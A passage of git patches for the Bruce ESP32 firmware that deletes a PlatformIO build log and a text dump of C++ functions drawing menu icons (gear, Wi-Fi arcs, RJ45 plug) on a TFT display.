-        iconCenterX - iconW / 2 + arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2 + arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-
-    // Slash
-    tft.drawLine(
-        iconCenterX - slashSize / 2,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        iconCenterX + slashSize / 2,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-
-    // Right Arrow
-    tft.drawLine(
-        iconCenterX + iconW / 2 - arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX + iconW / 2 - arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-}
-========== WifiMenu.cpp ==========
-void WifiMenu::drawIcon(float scale) {
-    clearIconArea();
-    int deltaY = scale * 20;
-    int radius = scale * 6;
-
-    tft.fillCircle(iconCenterX, iconCenterY + deltaY, radius, bruceConfig.priColor);
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY + deltaY,
-        deltaY + radius,
-        deltaY,
-        130,
-        230,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY + deltaY,
-        2 * deltaY + radius,
-        2 * deltaY,
-        130,
-        230,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}

From 4c1921a9ff4bb831d327ca527cd383692a700f6c Mon Sep 17 00:00:00 2001
From: Franco <181183464+FrannnnDev@users.noreply.github.com>
Date: Mon, 23 Mar 2026 00:37:54 -0300
Subject: [PATCH 14/73] Delete build_out.txt

---
 build_out.txt | 123 --------------------------------------------------
 1 file changed, 123 deletions(-)
 delete mode 100644 build_out.txt

diff --git a/build_out.txt b/build_out.txt
deleted file mode 100644
index c8e865ed8..000000000
--- a/build_out.txt
+++ /dev/null
@@ -1,123 +0,0 @@
-Processing lilygo-t-embed-cc1101 (board: lilygo-t-embed-cc1101; platform: https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip; framework: arduino)
---------------------------------------------------------------------------------
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing whywilson/ESP-PN532-UART
-Verbose mode can be enabled via `-v, --verbose` option
-[GZIP & EMBED INTO HEADER] - Nothing to process.
-ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488 ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488
-CONFIGURATION: https://docs.platformio.org/page/boards/espressif32/lilygo-t-embed-cc1101.html
-PLATFORM: Espressif 32 (55.3.36) > LilyGo T-Embed-PN532 (16M Flash 8M QSPI PSRAM)
-HARDWARE: ESP32S3 240MHz, 320KB RAM, 16MB Flash
-DEBUG: Current (esp-builtin) On-board (esp-builtin) External (cmsis-dap, esp-bridge, esp-prog, iot-bus-jtag, jlink, minimodule, olimex-arm-usb-ocd, olimex-arm-usb-ocd-h, olimex-arm-usb-tiny-h, olimex-jtag-tiny, tumpa)
-PACKAGES: 
- - contrib-piohome @ 3.4.4 
- - framework-arduinoespressif32 @ 3.3.6 
- - framework-arduinoespressif32-libs @ 5.5.0+sha.30aaf64524 
- - tool-esp-rom-elfs @ 2024.10.11 
- - tool-esptoolpy @ 5.1.0 
- - toolchain-xtensa-esp-elf @ 14.2.0+20251107
-*** Applied include path shortening for 331 framework paths ***
-*** Path length reduced from 40496 to ~13782 characters ***
-*** Estimated savings: 26149 characters ***
-LDF: Library Dependency Finder -> https://bit.ly/configure-pio-ldf
-LDF Modes: Finder ~ chain, Compatibility ~ soft
-Found 90 compatible libraries
-Scanning dependencies...
-Dependency Graph
-|-- WireGuard-ESP32 @ 0.1.5+sha.4e22d2e
-|-- IRremoteESP8266 @ 2.8.6+sha.22cd38c
-|-- Time @ 1.6.1
-|-- LibSSH-ESP32 @ 5.8.0
-|-- Adafruit BusIO @ 1.17.2-bruce.1+sha.27230c1
-|-- Adafruit PN532 @ 1.3.3-bruce.1+sha.e91d695
-|-- BER-TLV @ 0.0.0+20260322182116.sha.bd61b70
-|-- RFID_MFRC522v2 @ 2.0.6+sha.a6977df
-|-- ESP Chameleon Ultra @ 0.0.2+sha.f66f354
-|-- ESP Amiibolink @ 0.0.2+sha.fc26412
-|-- SimpleCLI @ 1.1.4+sha.b23d377
-|-- ESP PN32BLE @ 0.0.2+sha.542f121
-|-- ESP PN532 UART @ 0.0.2+sha.8021fde
-|-- ESP PN532Killer @ 0.0.7+sha.71bf110
-|-- NTPClient @ 3.2.1
-|-- ESP32Time @ 2.0.6
-|-- FFat @ 3.3.6
-|-- ArduinoJson @ 7.4.3
-|-- rc-switch @ 2.6.4+sha.2c43b93
-|-- ESP8266Audio @ 2.4.1
-|-- ESP8266SAM @ 1.1.0
-|-- TinyGPSPlus @ 1.1.0
-|-- FFT @ 0.0.1
-|-- NimBLE-Arduino @ 2.4.0
-|-- RF24 @ 1.4.11
-|-- Adafruit Si4713 Library @ 1.2.3
-|-- JPEGDecoder @ 2.0.0
-|-- SmartRC-CC1101-Driver-Lib @ 2.5.7+sha.7bba521
-|-- mquickjs @ 0.0.6+sha.169b5ea
-|-- OneWire @ 2.3.8+sha.42e045e
-|-- ESP32-PSRamFS @ 1.0.6+sha.5ace2e6
-|-- AnimatedGIF @ 2.2.0
-|-- PNGdec @ 1.1.6
-|-- ESPAsyncWebServer @ 3.10.3
-|-- FastLED @ 3.10.3
-|-- RadioLib @ 7.6.0
-|-- XPowersLib @ 0.3.3
-|-- RotaryEncoder @ 1.5.3
-|-- utility
-|-- Wire @ 3.3.6
-|-- LittleFS @ 3.3.6
-|-- BruceHAL @ 7.3.1
-|-- WiFi @ 3.3.6
-|-- HTTPClient @ 3.3.6
-|-- Ethernet @ 3.3.6
-|-- Networking @ 3.3.6
-|-- SPI @ 3.3.6
-|-- FS @ 3.3.6
-|-- Bad_Usb_Lib
-|-- TFT_eSPI QRcode @ 1.0.0
-|-- Preferences @ 3.3.6
-|-- DNSServer @ 3.3.6
-|-- WebServer @ 3.3.6
-|-- RTC
-|-- AsyncTCP @ 3.4.10
-|-- ESPmDNS @ 3.3.6
-|-- PN532_SRIX
-|-- NetworkClientSecure @ 3.3.6
-|-- SPIFFS @ 3.3.6
-Building in release mode
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppStoreMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\BleMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ClockMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConfigMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConnectMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\EthernetMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FMMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FileMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\GpsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\IRMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\LoRaMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\NRF24.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\OthersMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFIDMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ScriptsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\WifiMenu.cpp.o' from cache
-Linking .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Memory region         Used Size  Region Size  %age Used
-     iram0_0_seg:      116480 B     358144 B     32.52%
-     iram0_2_seg:     3200096 B    8388576 B     38.15%
-     dram0_0_seg:      222080 B     341760 B     64.98%
-     drom0_0_seg:     4381737 B   33554400 B     13.06%
-    rtc_iram_seg:          96 B       8152 B      1.18%
-rtc_reserved_seg:          40 B         40 B    100.00%
-    rtc_slow_seg:          36 B       7680 B      0.47%
-  extern_ram_seg:     4390880 B   33554400 B     13.09%
-Firmware metrics can not be shown. Set the terminal codepage to "utf-8" or "cp65001" on Windows.
-Retrieving maximum program size .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Checking size .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Advanced Memory Usage is available via "PlatformIO Home > Project Inspect"
-RAM:   [====      ]  37.2% (used 121980 bytes from 327680 bytes)
-Flash: [==========]  96.7% (used 4498495 bytes from 4653056 bytes)
-

From 566003e6cf6c4f5e2ca45905142f9e473a8a639d Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Mon, 23 Mar 2026 00:54:24 -0300
Subject: [PATCH 15/73] Changed Ethernet Icon

---
 build_out.txt                        | 123 ----
 icons.txt                            | 866 ---------------------------
 src/core/menu_items/EthernetMenu.cpp | 113 ++--
 3 files changed, 57 insertions(+), 1045 deletions(-)
 delete mode 100644 build_out.txt
 delete mode 100644 icons.txt

diff --git a/build_out.txt b/build_out.txt
deleted file mode 100644
index c8e865ed8..000000000
--- a/build_out.txt
+++ /dev/null
@@ -1,123 +0,0 @@
-Processing lilygo-t-embed-cc1101 (board: lilygo-t-embed-cc1101; platform: https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip; framework: arduino)
---------------------------------------------------------------------------------
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing h2zero/NimBLE-Arduino
-Library Manager: Installing whywilson/ESP-PN532-UART
-Verbose mode can be enabled via `-v, --verbose` option
-[GZIP & EMBED INTO HEADER] - Nothing to process.
-ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488 ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488
-CONFIGURATION: https://docs.platformio.org/page/boards/espressif32/lilygo-t-embed-cc1101.html
-PLATFORM: Espressif 32 (55.3.36) > LilyGo T-Embed-PN532 (16M Flash 8M QSPI PSRAM)
-HARDWARE: ESP32S3 240MHz, 320KB RAM, 16MB Flash
-DEBUG: Current (esp-builtin) On-board (esp-builtin) External (cmsis-dap, esp-bridge, esp-prog, iot-bus-jtag, jlink, minimodule, olimex-arm-usb-ocd, olimex-arm-usb-ocd-h, olimex-arm-usb-tiny-h, olimex-jtag-tiny, tumpa)
-PACKAGES: 
- - contrib-piohome @ 3.4.4 
- - framework-arduinoespressif32 @ 3.3.6 
- - framework-arduinoespressif32-libs @ 5.5.0+sha.30aaf64524 
- - tool-esp-rom-elfs @ 2024.10.11 
- - tool-esptoolpy @ 5.1.0 
- - toolchain-xtensa-esp-elf @ 14.2.0+20251107
-*** Applied include path shortening for 331 framework paths ***
-*** Path length reduced from 40496 to ~13782 characters ***
-*** Estimated savings: 26149 characters ***
-LDF: Library Dependency Finder -> https://bit.ly/configure-pio-ldf
-LDF Modes: Finder ~ chain, Compatibility ~ soft
-Found 90 compatible libraries
-Scanning dependencies...
-Dependency Graph
-|-- WireGuard-ESP32 @ 0.1.5+sha.4e22d2e
-|-- IRremoteESP8266 @ 2.8.6+sha.22cd38c
-|-- Time @ 1.6.1
-|-- LibSSH-ESP32 @ 5.8.0
-|-- Adafruit BusIO @ 1.17.2-bruce.1+sha.27230c1
-|-- Adafruit PN532 @ 1.3.3-bruce.1+sha.e91d695
-|-- BER-TLV @ 0.0.0+20260322182116.sha.bd61b70
-|-- RFID_MFRC522v2 @ 2.0.6+sha.a6977df
-|-- ESP Chameleon Ultra @ 0.0.2+sha.f66f354
-|-- ESP Amiibolink @ 0.0.2+sha.fc26412
-|-- SimpleCLI @ 1.1.4+sha.b23d377
-|-- ESP PN32BLE @ 0.0.2+sha.542f121
-|-- ESP PN532 UART @ 0.0.2+sha.8021fde
-|-- ESP PN532Killer @ 0.0.7+sha.71bf110
-|-- NTPClient @ 3.2.1
-|-- ESP32Time @ 2.0.6
-|-- FFat @ 3.3.6
-|-- ArduinoJson @ 7.4.3
-|-- rc-switch @ 2.6.4+sha.2c43b93
-|-- ESP8266Audio @ 2.4.1
-|-- ESP8266SAM @ 1.1.0
-|-- TinyGPSPlus @ 1.1.0
-|-- FFT @ 0.0.1
-|-- NimBLE-Arduino @ 2.4.0
-|-- RF24 @ 1.4.11
-|-- Adafruit Si4713 Library @ 1.2.3
-|-- JPEGDecoder @ 2.0.0
-|-- SmartRC-CC1101-Driver-Lib @ 2.5.7+sha.7bba521
-|-- mquickjs @ 0.0.6+sha.169b5ea
-|-- OneWire @ 2.3.8+sha.42e045e
-|-- ESP32-PSRamFS @ 1.0.6+sha.5ace2e6
-|-- AnimatedGIF @ 2.2.0
-|-- PNGdec @ 1.1.6
-|-- ESPAsyncWebServer @ 3.10.3
-|-- FastLED @ 3.10.3
-|-- RadioLib @ 7.6.0
-|-- XPowersLib @ 0.3.3
-|-- RotaryEncoder @ 1.5.3
-|-- utility
-|-- Wire @ 3.3.6
-|-- LittleFS @ 3.3.6
-|-- BruceHAL @ 7.3.1
-|-- WiFi @ 3.3.6
-|-- HTTPClient @ 3.3.6
-|-- Ethernet @ 3.3.6
-|-- Networking @ 3.3.6
-|-- SPI @ 3.3.6
-|-- FS @ 3.3.6
-|-- Bad_Usb_Lib
-|-- TFT_eSPI QRcode @ 1.0.0
-|-- Preferences @ 3.3.6
-|-- DNSServer @ 3.3.6
-|-- WebServer @ 3.3.6
-|-- RTC
-|-- AsyncTCP @ 3.4.10
-|-- ESPmDNS @ 3.3.6
-|-- PN532_SRIX
-|-- NetworkClientSecure @ 3.3.6
-|-- SPIFFS @ 3.3.6
-Building in release mode
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppStoreMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\BleMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ClockMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConfigMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConnectMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\EthernetMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FMMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FileMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\GpsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\IRMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\LoRaMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\NRF24.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\OthersMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFIDMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ScriptsMenu.cpp.o' from cache
-Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\WifiMenu.cpp.o' from cache
-Linking .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Memory region         Used Size  Region Size  %age Used
-     iram0_0_seg:      116480 B     358144 B     32.52%
-     iram0_2_seg:     3200096 B    8388576 B     38.15%
-     dram0_0_seg:      222080 B     341760 B     64.98%
-     drom0_0_seg:     4381737 B   33554400 B     13.06%
-    rtc_iram_seg:          96 B       8152 B      1.18%
-rtc_reserved_seg:          40 B         40 B    100.00%
-    rtc_slow_seg:          36 B       7680 B      0.47%
-  extern_ram_seg:     4390880 B   33554400 B     13.09%
-Firmware metrics can not be shown. Set the terminal codepage to "utf-8" or "cp65001" on Windows.
-Retrieving maximum program size .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Checking size .pio\build\lilygo-t-embed-cc1101\firmware.elf
-Advanced Memory Usage is available via "PlatformIO Home > Project Inspect"
-RAM:   [====      ]  37.2% (used 121980 bytes from 327680 bytes)
-Flash: [==========]  96.7% (used 4498495 bytes from 4653056 bytes)
-
diff --git a/icons.txt b/icons.txt
deleted file mode 100644
index d61aefd51..000000000
--- a/icons.txt
+++ /dev/null
@@ -1,866 +0,0 @@
-========== AppsMenu.cpp ==========
-void AppsMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-    tft.drawLine(cx - half, cy - half + iconH / 4, cx + half, cy - half + iconH / 4, bruceConfig.priColor);
-
-    int gridW = iconW / 5;
-    int gridGap = iconW / 8;
-
-    int gridCenterY = cy + iconH / 8;
-    int gx1 = cx - gridW - gridGap / 2;
-    int gy1 = gridCenterY - gridW - gridGap / 2;
-    int gx2 = cx + gridGap / 2;
-    int gy2 = gridCenterY + gridGap / 2;
-
-    tft.fillRect(gx1, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx2, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx1, gy2, gridW, gridW, bruceConfig.priColor);
-    tft.fillRect(gx2, gy2, gridW, gridW, bruceConfig.priColor);
-}
-========== AppStoreMenu.cpp ==========
-void AppStoreMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-
-    int aw = iconW / 5;
-    int top = cy - half / 2;
-    int bot = cy + half / 6;
-    tft.fillRect(cx - aw / 2, top, aw, bot - top, bruceConfig.priColor);
-
-    int tw = half / 2 + 2;
-    tft.fillTriangle(cx - tw, bot, cx + tw, bot, cx, cy + half / 2, bruceConfig.priColor);
-
-    int ly = cy + half - half / 5;
-    tft.drawLine(cx - half / 2, ly, cx + half / 2, ly, bruceConfig.priColor);
-}
-========== BleMenu.cpp ==========
-void BleMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int lineWidth = scale * 5;
-    int iconW = scale * 36;
-    int iconH = scale * 60;
-    int radius = scale * 5;
-    int deltaRadius = scale * 10;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 4 != 0) iconH += 4 - (iconH % 4);
-
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY + iconH / 4,
-        iconCenterX - iconW,
-        iconCenterY - iconH / 4,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY - iconH / 4,
-        iconCenterX - iconW,
-        iconCenterY + iconH / 4,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY + iconH / 4,
-        iconCenterX - iconW / 2,
-        iconCenterY + iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY - iconH / 4,
-        iconCenterX - iconW / 2,
-        iconCenterY - iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-
-    tft.drawWideLine(
-        iconCenterX - iconW / 2,
-        iconCenterY - iconH / 2,
-        iconCenterX - iconW / 2,
-        iconCenterY + iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius,
-        2 * radius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== ClockMenu.cpp ==========
-void ClockMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 30;
-    int pointerSize = scale * 15;
-
-    // Case
-    tft.drawArc(
-        iconCenterX, iconCenterY, 1.1 * radius, radius, 0, 360, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    // Pivot center
-    tft.fillCircle(iconCenterX, iconCenterY, radius / 10, bruceConfig.priColor);
-
-    // Hours & minutes
-    tft.drawLine(
-        iconCenterX,
-        iconCenterY,
-        iconCenterX - 2 * pointerSize / 3,
-        iconCenterY - 2 * pointerSize / 3,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX, iconCenterY, iconCenterX + pointerSize, iconCenterY - pointerSize, bruceConfig.priColor
-    );
-}
-========== ConfigMenu.cpp ==========
-void ConfigMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 9;
-
-    // Draw 6 gear teeth segments
-    for (int i = 0; i < 6; i++) {
-        tft.drawArc(
-            iconCenterX,
-            iconCenterY,
-            3.5 * radius,
-            2 * radius,
-            15 + 60 * i,
-            45 + 60 * i,
-            bruceConfig.priColor,
-            bruceConfig.bgColor,
-            true
-        );
-    }
-
-    // Draw inner circle
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius,
-        radius,
-        0,
-        360,
-        bruceConfig.priColor,
-        bruceConfig.bgColor,
-        false
-    );
-}
-========== ConnectMenu.cpp ==========
-void ConnectMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 50;
-    int iconH = scale * 40;
-    int radius = scale * 7;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    tft.fillCircle(iconCenterX - iconW / 2, iconCenterY, radius, bruceConfig.priColor);
-
-    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY - iconH / 2, radius, bruceConfig.priColor);
-    tft.fillCircle(iconCenterX + 0.5 * iconW, iconCenterY, radius, bruceConfig.priColor);
-    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY + iconH / 2, radius, bruceConfig.priColor);
-
-    tft.drawLine(
-        iconCenterX - iconW / 2,
-        iconCenterY,
-        iconCenterX + 0.3 * iconW,
-        iconCenterY - iconH / 2,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2, iconCenterY, iconCenterX + 0.5 * iconW, iconCenterY, bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2,
-        iconCenterY,
-        iconCenterX + 0.3 * iconW,
-        iconCenterY + iconH / 2,
-        bruceConfig.priColor
-    );
-}
-========== EthernetMenu.cpp ==========
-void EthernetMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 50;
-    int iconH = scale * 50;
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-
-    int halfW = iconW / 2;
-    int halfH = iconH / 2;
-
-    int r = scale * 4;
-
-    // Outer thick connector frame
-    int outX = cx - halfW;
-    int outY = cy - halfH;
-
-    // Draw main frame
-    tft.drawRoundRect(outX, outY, iconW, iconH, r, bruceConfig.priColor);
-    tft.drawRoundRect(outX + 1, outY + 1, iconW - 2, iconH - 2, r - 1, bruceConfig.priColor);
-
-    // Draw the notch (the clip hole of RJ45) at the bottom
-    int notchW = iconW / 2.2;
-    int notchH = iconH / 3.5;
-    int notchX = cx - notchW / 2;
-    int notchY = outY + iconH - notchH;
-
-    tft.fillRect(notchX, notchY - 1, notchW, notchH + 2, bruceConfig.bgColor);
-
-    // Draw the indentation lines for the notch
-    tft.drawLine(notchX, notchY, notchX, notchY + notchH, bruceConfig.priColor);
-    tft.drawLine(notchX + notchW, notchY, notchX + notchW, notchY + notchH, bruceConfig.priColor);
-    tft.drawLine(notchX, notchY, cx - halfW, notchY, bruceConfig.priColor);
-    tft.drawLine(notchX + notchW, notchY, cx + halfW, notchY, bruceConfig.priColor);
-
-    // Draw pins at the top
-    int pinW = scale * 2;
-    if (pinW < 1) pinW = 1;
-    int pinH = iconH / 3;
-    int pinY = outY + 3;
-    int numPins = 6;
-    int space = (iconW - 14 * scale) / numPins;
-
-    int startX = cx - (space * (numPins - 1)) / 2;
-    for (int i = 0; i < numPins; i++) {
-        tft.fillRect(startX + i * space - pinW / 2, pinY, pinW, pinH, bruceConfig.priColor);
-    }
-}
-========== FileMenu.cpp ==========
-void FileMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 32;
-    int iconH = scale * 48;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int foldSize = iconH / 4;
-    int iconX = iconCenterX - iconW / 2;
-    int iconY = iconCenterY - iconH / 2;
-    int iconDelta = 10;
-
-    // Files
-    tft.drawRect(iconX + iconDelta, iconY - iconDelta, iconW, iconH, bruceConfig.priColor);
-
-    tft.fillRect(iconX, iconY, iconW, iconH, bruceConfig.bgColor);
-    tft.drawRect(iconX, iconY, iconW, iconH, bruceConfig.priColor);
-
-    tft.fillRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.bgColor);
-    tft.drawRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.priColor);
-
-    // Erase corners
-    tft.fillRect(
-        iconX + iconDelta + iconW - foldSize, iconY - iconDelta - 1, foldSize, 2, bruceConfig.bgColor
-    );
-    tft.fillRect(iconX + iconDelta + iconW - 1, iconY - iconDelta, 2, foldSize, bruceConfig.bgColor);
-
-    tft.fillRect(iconX + iconW - foldSize, iconY - 1, foldSize, 2, bruceConfig.bgColor);
-    tft.fillRect(iconX + iconW - 1, iconY, 2, foldSize, bruceConfig.bgColor);
-
-    tft.fillRect(
-        iconX - iconDelta + iconW - foldSize, iconY + iconDelta - 1, foldSize, 2, bruceConfig.bgColor
-    );
-    tft.fillRect(iconX - iconDelta + iconW - 1, iconY + iconDelta, 2, foldSize, bruceConfig.bgColor);
-
-    // Folds
-    tft.drawTriangle(
-        iconX + iconDelta + iconW - foldSize,
-        iconY - iconDelta,
-        iconX + iconDelta + iconW - foldSize,
-        iconY - iconDelta + foldSize - 1,
-        iconX + iconDelta + iconW - 1,
-        iconY - iconDelta + foldSize - 1,
-        bruceConfig.priColor
-    );
-    tft.drawTriangle(
-        iconX + iconW - foldSize,
-        iconY,
-        iconX + iconW - foldSize,
-        iconY + foldSize - 1,
-        iconX + iconW - 1,
-        iconY + foldSize - 1,
-        bruceConfig.priColor
-    );
-    tft.drawTriangle(
-        iconX - iconDelta + iconW - foldSize,
-        iconY + iconDelta,
-        iconX - iconDelta + iconW - foldSize,
-        iconY + iconDelta + foldSize - 1,
-        iconX - iconDelta + iconW - 1,
-        iconY + iconDelta + foldSize - 1,
-        bruceConfig.priColor
-    );
-}
-========== FMMenu.cpp ==========
-void FMMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 80;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int caseH = 5 * iconH / 6;
-    int caseX = iconCenterX - iconW / 2;
-    int caseY = iconCenterY - iconH / 3;
-
-    int btnY = (2 * caseY + caseH + iconH / 10 + iconH / 3) / 2;
-    int potX = (2 * caseX + iconW + iconW / 10 + iconW / 2) / 2;
-    int potY = caseY + caseH / 3 + iconH / 10;
-
-    // Case
